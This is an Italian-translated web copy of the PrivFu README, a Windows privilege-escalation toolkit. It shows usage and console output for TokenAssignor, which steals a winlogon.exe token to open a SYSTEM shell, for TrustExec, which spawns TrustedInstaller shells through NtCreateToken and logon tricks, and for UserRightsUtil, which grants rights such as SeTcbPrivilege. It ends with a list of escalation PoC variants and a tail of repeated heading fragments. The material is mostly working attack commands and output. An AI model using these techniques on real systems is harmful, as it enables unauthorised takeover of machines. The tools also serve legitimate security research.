[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to dump thread token information.

[Token Information for svchost.exe (PID: 3516, TID: 4656)]

Token User : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Token Owner : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Primary Group : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Token Type : Impersonation Impersonation Level : Impersonation Token ID : 0x0000000000038CC4 Authentication ID : 0x00000000000003E7 Original ID : 0x00000000000003E7 Modified ID : 0x000000000002CE61 Integrity Level : System Protection Level : N/A Session ID : 0 Elevation Type : Default Mandatory Policy : NoWriteUp, NewProcessMin Elevated : True AppContainer : False TokenFlags : IsFiltered, NotLow, EnforceRedirectionTrust Has Linked Token : False Token Source : N/A Token Source ID : N/A

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeAssignPrimaryTokenPrivilege Disabled
SeTcbPrivilege                EnabledByDefault, Enabled
SeSecurityPrivilege           Disabled
SeSystemProfilePrivilege      EnabledByDefault, Enabled
SeDebugPrivilege              EnabledByDefault, Enabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeImpersonatePrivilege        EnabledByDefault, Enabled
SeCreateGlobalPrivilege       EnabledByDefault, Enabled


GROUP INFORMATION
-----------------

Group Name                             Attributes
====================================== ====================================================
Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
Everyone                               Mandatory, EnabledByDefault, Enabled
BUILTIN\Users                          Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\SERVICE                   Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                          Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users       Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization         Mandatory, EnabledByDefault, Enabled
NT SERVICE\DiagTrack                   EnabledByDefault, Enabled, Owner
NT AUTHORITY\LogonSessionId_0_180260   Mandatory, EnabledByDefault, Enabled, Owner, LogonId
LOCAL                                  Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators                 EnabledByDefault, Enabled, Owner


DACL INFORMATION
----------------

Account Name         Access      Flags Type
==================== =========== ===== =============
NT AUTHORITY\SYSTEM  GenericAll  None  AccessAllowed
OWNER RIGHTS         ReadControl None  AccessAllowed
NT SERVICE\DiagTrack GenericAll  None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000047
        Value[0x01] : 0x000000000002C0FA

[*] Done.

## TokenAssignor

[Torna all'inizio](#privfu)

[Progetto](https://github.com/daem0nc0re/privfu/blob/main/TokenAssignor)

Questo strumento serve per imparare come assegnare il token primario:```
PS C:\Dev> .\TokenAssignor.exe

TokenAssignor - Tool to execute token assigned process.

Usage: TokenAssignor.exe [Options]

        -h, --help    : Displays this help message.
        -c, --command : Specifies a command to execute. Default is cmd.exe.
        -m, --method  : Specifies a method ID (0 - 3).
        -p, --pid     : Specifies a source PID for token stealing.

[!] -m option is required.

Questo strumento tenta di rubare un token da un processo specificato ed eseguire un processo assegnato al token. La maggior parte dei metodi richiede privilegi amministrativi. Per eseguire un processo assegnato al token con l'API CreateProcessAsUser, imposta l'opzione -m a 0:``` PS C:\Dev> Get-Process winlogon

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName

270      13     2452      10108       0.33    688   1 winlogon

PS C:\Dev> whoami /user

USER INFORMATION

User Name SID ==================== ============================================= desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001 PS C:\Dev> .\TokenAssignor.exe -p 688 -m 0

[+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Got a primary token from PID 688 (Handle = 0x68). [+] Got a impersonation token from winlogon.exe (Handle = 0x2E0). [+] Impersonation as winlogon.exe is successful. [+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 9552). [*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18). Microsoft Windows [Version 10.0.22631.2428] (c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION

User Name SID =================== ======== nt authority\system S-1-5-18

Quando si imposta l'opzione `-m` su `1`, questo strumento tenta di creare un processo sospeso e aggiornare il token primario con un token rubato.
Questo metodo non può essere utilizzato per cambiare l'ID di sessione a causa di una restrizione del kernel.
Il kernel impone che l'ID di sessione del token corrisponda all'ID di sessione per `_EPROCESS`:```
PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name            SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 1

[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Got a primary token from PID 688 (Handle = 0x2C8).
[+] Got a impersonation token from winlogon.exe (Handle = 0x2D8).
[+] Impersonation as winlogon.exe is successful.
[+] Suspended "C:\Windows\system32\cmd.exe" is executed successfully (PID = 9968).
[*] Current user of the suspended process is DESKTOP-5OHMOBJ\user (SID: S-1-5-21-1955100404-698441589-1496171011-1001)
[+] Primary token for the suspended process is updated successfully.
[*] Current user of the suspended process is NT AUTHORITY\SYSTEM (SID: S-1-5-18)
[*] Resuming the suspended process.
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18

Se l'opzione -m è impostata a 2, crea un nuovo processo con token assegnato tramite il servizio Secondary Logon Service:``` PS C:\Dev> whoami /user

USER INFORMATION

User Name SID ==================== ============================================= desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001 PS C:\Dev> .\TokenAssignor.exe -p 688 -m 2

[+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Got a primary token from PID 688 (Handle = 0x2C4). [+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 5832). [*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18).

PS C:\Dev>

C:\Dev>whoami /user

USER INFORMATION

User Name SID =================== ======== nt authority\system S-1-5-18

Se l'opzione `-m` è impostata su `3`, crea un nuovo processo con assegnazione di token utilizzando il metodo di spoofing del PPID:```
PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name            SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 3

[+] SeDebugPrivilege is enabled successfully.
[+] Got a handle from PID 688 (Handle = 0x2C4).
[+] Thread attribute is built successfully.
[+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 4852).
[*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18).

PS C:\Dev>


Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18

TrustExec

Torna all'inizio

Progetto

Questo strumento consente di eseguire un processo come account di gruppo NT SERVICE\TrustedInstaller. Il PoC originale è TrustedInstallerCmd2.c di Grzegorz Tworek. L'ho portato in C# e ricostruito come strumento. La maggior parte delle operazioni richiede privilegi amministrativi (SeDebugPrivilege, SeImpersonatePrivilege e livello di integrità elevato):``` PS C:\Dev> .\TrustExec.exe

TrustExec - Tool to create TrustedInstaller process.

Usage: TrustExec.exe [Options]

    -h, --help        : Displays this help message.
    -l, --lookup      : Flag to lookup account name or SID.
    -n, --new-console : Flag to create new console. Use with -x flag.
    -x, --exec        : Flag to execute command.
    -a, --account     : Specifies account name to lookup.
    -c, --command     : Specifies command to execute. Default is cmd.exe.
    -e, --extra       : Specifies command to execute. Default is cmd.exe.
    -m, --method      : Specifies method ID. Default is 0 (NtCreateToken method).
    -s, --sid         : Specifies SID to lookup.

Available Method IDs:

    + 0 - Leverages NtCreateToken syscall.
    + 1 - Leverages virtual logon.
    + 2 - Leverages service logon.
    + 3 - Leverages S4U logon.
    + 4 - Leverages TrustedInstaller service.

Per questo modulo sono implementate 2 tecniche.
Possiamo specificare un metodo con l'opzione `-m`.
Il valore per l'opzione `-m` può essere un numero intero da `0` a `4`.
Ad esempio, se si imposta l'opzione `-m` a `0`, questo strumento tenta di ottenere il token `TrustedInstaller` con `NtCreateToken`:```
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell

[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0xE8).
[+] Got a token assigned process (PID: 2832).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18
PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeCreateTokenPrivilege                    Create a token object                                              Enabled
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Enabled
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeTcbPrivilege                            Act as part of the operating system                                Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeAuditPrivilege                          Generate security audits                                           Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeSyncAgentPrivilege                      Synchronize directory service data                                 Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as a trusted caller                      Enabled
SeRelabelPrivilege                        Modify an object label                                             Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:\Dev> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                            Attributes
====================================== ================ ============================================================== ==================================================
Everyone                               Well-known group S-1-1-0                                                        Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                        Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                                   Enabled by default, Enabled group, Group owner
BUILTIN\Users                          Alias            S-1-5-32-545                                                   Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller            Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label            S-1-16-16384

Se vuoi creare un processo con una nuova console, imposta il flag -n come segue:``` PS C:\Dev> .\TrustExec.exe -m 1 -x -c powershell -n

[*] Virtual logon method is selected. [+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Impersonation as smss.exe is successful. [+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread. [+] SeImpersonatePrivilege is enabled successfully for current thread. [+] SeTcbPrivilege is enabled successfully for current thread. [+] A virtual domain VirtualDomain is created successfully (SID: S-1-5-110). [+] A virtual account VirtualDomain\VirtualAdmin is created successfully (SID: S-1-5-110-500). [+] Got a virtual logon token (Handle = 0xEC). [+] Got a token assigned process (PID: 23836). [+] VirtualDomain domain is removed successfully.

Ogni metodo diverso dal metodo del servizio TrustedInstaller (l'ID per l'opzione `-m` è `4`) accetta SID di gruppo aggiuntivi con l'opzione `-e`.
Il formato del valore per l'opzione `-e` deve essere una stringa SID SDDL.
Per il separatore di stringhe SID, è possibile utilizzare la virgola come segue:```
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell -e S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736,S-1-5-32-551

[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0x30C).
[+] Got a token assigned process (PID: 17500).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Dev> whoami /user

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                             Attributes
====================================== ================ =============================================================== ==================================================
Everyone                               Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators               Alias            S-1-5-32-551                                                    Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                                    Enabled by default, Enabled group, Group owner
BUILTIN\Users                          Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller            Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464  Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label            S-1-16-16384                                                    
NT SERVICE\WinDefend                   Well-known group S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 Enabled by default, Enabled group

Per risolvere il SID dell'account, imposta il flag -l e l'opzione -a con il nome dell'account come segue:``` PS C:\Dev> .\TrustExec.exe -l -a "nt service\windefend"

[] Account Name : NT SERVICE\WinDefend [] Account SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 [*] Account Type : WellKnownGroup

PS C:\Dev> .\TrustExec.exe -l -a users

[] Account Name : BUILTIN\Users [] Account SID : S-1-5-32-545 [*] Account Type : Alias

## UserRightsUtil

[Back to Top](#privfu)

[Project](https://github.com/daem0nc0re/privfu/blob/main/UserRightsUtil)

Questo strumento serve per gestire i diritti utente senza `secpol.msc`.
I comandi diversi da `lookup` richiedono privilegi di amministratore:```
C:\dev>UserRightsUtil.exe

UserRightsUtil - User rights management utility.

Usage: UserRightsUtil.exe [Options]

        -h, --help   : Displays this help message.
        -m, --module : Specifies module name.

Available Modules:

        + enum   - Enumerate user rights for specific account.
        + find   - Find accounts have a specific user right.
        + lookup - Lookup account's SID.
        + manage - Grant or revoke user rights.

[*] To see help for each modules, specify "-m <Module> -h" as arguments.

[!] -m option is required.

Modulo enum

Per enumerare i diritti utente per un account specifico, utilizza il comando enum con le opzioni -u e d opitons o l'opzione -s come segue:``` C:\dev>UserRightsUtil.exe -m enum -d contoso -u jeff

C:\dev>UserRightsUtil.exe -m enum -s S-1-5-21-3654360273-254804765-2004310818-1105

Se non specifichi il nome di dominio con l'opzione `-d`, usa il nome del computer locale come nome di dominio:```
C:\dev>hostname
CL01

C:\dev>UserRightsUtil.exe -m enum -u guest

[>] Trying to enumerate user rights.
    |-> Username : CL01\Guest
    |-> SID      : S-1-5-21-2659926013-4203293582-4033841475-501
[+] Got 3 user right(s).
    |-> SeInteractiveLogonRight
    |-> SeDenyInteractiveLogonRight
    |-> SeDenyNetworkLogonRight
[*] Done.

Modulo find

Questo comando serve per trovare utenti che hanno un diritto specifico. Ad esempio, se vuoi trovare utenti che hanno SeDebugPrivilege, esegui come segue:``` C:\dev>UserRightsUtil.exe -m find -r debug

[>] Trying to find users with SeDebugPrivilege. [+] Found 1 user(s). |-> BUILTIN\Administrators (SID : S-1-5-32-544, Type : SidTypeAlias) [*] Done.

Per elencare i valori disponibili per l'opzione `-r`, usa l'opzione `-l`:```
C:\dev>UserRightsUtil.exe -m find -l

Available values for --right option:
        + TrustedCredManAccess           : Specfies SeTrustedCredManAccessPrivilege.
        + NetworkLogon                   : Specfies SeNetworkLogonRight.
        + Tcb                            : Specfies SeTcbPrivilege.
        + MachineAccount                 : Specfies SeMachineAccountPrivilege.
        + IncreaseQuota                  : Specfies SeIncreaseQuotaPrivilege.
        + InteractiveLogon               : Specfies SeInteractiveLogonRight.
        + RemoteInteractiveLogon         : Specfies SeRemoteInteractiveLogonRight.
        + Backup                         : Specfies SeBackupPrivilege.

--snip--

lookup Module

Questo comando serve per cercare il SID di un account come segue:``` C:\dev>UserRightsUtil.exe -m lookup -d contoso -u david

[*] Result: |-> Account Name : CONTOSO\david |-> SID : S-1-5-21-3654360273-254804765-2004310818-1104 |-> Account Type : SidTypeUser

C:\dev>UserRightsUtil.exe -m lookup -s S-1-5-21-3654360273-254804765-2004310818-500

[*] Result: |-> Account Name : CONTOSO\Administrator |-> SID : S-1-5-21-3654360273-254804765-2004310818-500 |-> Account Type : SidTypeUser

C:\dev>UserRightsUtil.exe -m lookup -d contoso -u "domain admins"

[*] Result: |-> Account Name : CONTOSO\Domain Admins |-> SID : S-1-5-21-3654360273-254804765-2004310818-512 |-> Account Type : SidTypeGroup

Se non specifici il nome di dominio con l'opzione `-d`, usa il nome del computer locale come nome di dominio:```
C:\dev>hostname
CL01

C:\dev>UserRightsUtil.exe -m lookup -u admin

[*] Result:
    |-> Account Name : CL01\admin
    |-> SID          : S-1-5-21-2659926013-4203293582-4033841475-500
    |-> Account Type : SidTypeUser

Modulo manage

Questo comando serve per concedere o revocare i diritti utente per un account utente specifico. Per concedere un diritto utente, specifica un diritto utente come valore per l'opzione -g:``` C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege. [-] No users. [*] Done.

C:\dev>UserRightsUtil.exe -m manage -g tcb -d contoso -u administrator

[>] Target account information: |-> Username : CONTOSO\Administrator |-> SID : S-1-5-21-3654360273-254804765-2004310818-500 [>] Trying to grant SeTcbPrivilege. [+] SeTcbPrivilege is granted successfully.

C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege. [+] Found 1 user(s). |-> CONTOSO\Administrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser) [*] Done.

Per revocare un diritto utente, specificare un diritto utente come valore per l'opzione `-r`:```
C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege.
[+] Found 1 user(s).
    |-> CONTOSO\Administrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser)
[*] Done.


C:\dev>UserRightsUtil.exe -m manage -r tcb -d contoso -u administrator

[>] Target account information:
    |-> Username : CONTOSO\Administrator
    |-> SID      : S-1-5-21-3654360273-254804765-2004310818-500
[>] Trying to revoke SeTcbPrivilege
[+] SeTcbPrivilege is revoked successfully.

C:\de>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege.
[-] No users.
[*] Done.

Per elencare i valori disponibili per l'opzione -g o -r, usa l'opzione -l:``` C:\dev>UserRightsUtil.exe -m manage -l

Available values for --grant and --revoke options: + TrustedCredManAccess : Specfies SeTrustedCredManAccessPrivilege. + NetworkLogon : Specfies SeNetworkLogonRight. + Tcb : Specfies SeTcbPrivilege. + MachineAccount : Specfies SeMachineAccountPrivilege. + IncreaseQuota : Specfies SeIncreaseQuotaPrivilege. + InteractiveLogon : Specfies SeInteractiveLogonRight. + RemoteInteractiveLogon : Specfies SeRemoteInteractiveLogonRight. + Backup : Specfies SeBackupPrivilege.

--snip--

## Riferimenti

[Back to Top](#privfu)

- [Priv2Admin](https://github.com/gtworek/Priv2Admin) e [PSBits](https://github.com/gtworek/PSBits) di [Grzegorz Tworek](https://twitter.com/0gtweet)
- [Abusing Token Privileges For LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) di [Bryan Alexander](https://twitter.com/dronesec) e [Steve Breen](https://twitter.com/breenmachine)
- [whoami /priv](https://github.com/decoder-it/whoami-priv-Hackinparis2019) di [Andrea Pierini](https://twitter.com/decoder_it)
- [HackSys Extreme Vulnerable Driver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver) di [Ashfaq Ansari](https://twitter.com/hacksysteam)


## Ringraziamenti

[Back to Top](#privfu)

Grazie per i tuoi consigli sulla programmazione delle estensioni WinDbg:

- Pavel Yosifovich ([@zodiacon](https://twitter.com/zodiacon)) 

Grazie per la vostra notevole ricerca:

- Grzegorz Tworek ([@0gtweet](https://twitter.com/0gtweet))
- Bryan Alexander ([@dronesec](https://twitter.com/dronesec))
- Steve Breen ([@breenmachine](https://twitter.com/breenmachine))
- Andrea Pierini ([@decoder_it](https://twitter.com/decoder_it))

Grazie per il rilascio del driver kernel di esempio:

- Ashfaq Ansari ([@HackSysTeam](https://twitter.com/hacksysteam))

CreateAssignTokenVariant	Questo PoC esegue EoP con `SeCreateTokenPrivilege` e `SeAssignPrimaryTokenPrivilege`.
CreateImpersonateTokenVariant	Questo PoC esegue EoP con `SeCreateTokenPrivilege` e `SeImpersonatePrivilege`.
CreateTokenVariant	Questo PoC esegue EoP con `SeCreateTokenPrivilege`.
DebugInjectionVariant	Questo PoC esegue EoP con `SeDebugPrivilege`. Usa l'iniezione di codice in winlogon.exe nella fase finale.
DebugUpdateProcVariant	Questo PoC esegue EoP con `SeDebugPrivilege`. Crea un processo SYSTEM da winlogon.exe con l'API `UpdateProcThreadAttribute` nella fase finale.
RestoreServiceModificationVariant	Questo PoC esegue EoP con `SeRestorePrivilege`. Usa HijackShellLib con questo PoC.
SecondaryLogonVariant	Questo PoC esegue EoP con `SeCreateTokenPrivilege` e `SeImpersonatePrivilege`. Usa il servizio di logon secondario nella fase finale.
TakeOwnershipServiceModificationVariant	Questo PoC esegue EoP con `SeTakeOwnershipPrivilege`. Usa HijackShellLib con questo PoC.
TcbS4uAssignTokenVariant	Questo PoC esegue EoP con `SeTcbPrivilege`. Ottiene una shell con livello di integrità System da un livello di integrità medio.
TcbS4uImpersonationVariant	Questo PoC esegue EoP con `SeTcbPrivilege`. Esegue l'impersonificazione del thread con logon S4U. Non ottiene il livello di integrità alto o System.

PrivFu

Più Popolari

PrivFu

Table Of Contents

ArtsOfGetSystem

KernelWritePoCs

PrivEditor

Comando getpriv

Comando addpriv

Comando enablepriv

USER INFORMATION

USER INFORMATION

User Name SID ============ ============================================= contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105 PS C:\Tools> whoami /groups GROUP INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

PRIVILEGES INFORMATION

USER INFORMATION

USER INFORMATION

USER INFORMATION

USER INFORMATION

TrustExec

Modulo enum

Modulo find

lookup Module

Modulo manage

User Name SID ============ ============================================= contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105 PS C:\Tools> whoami /groups
GROUP INFORMATION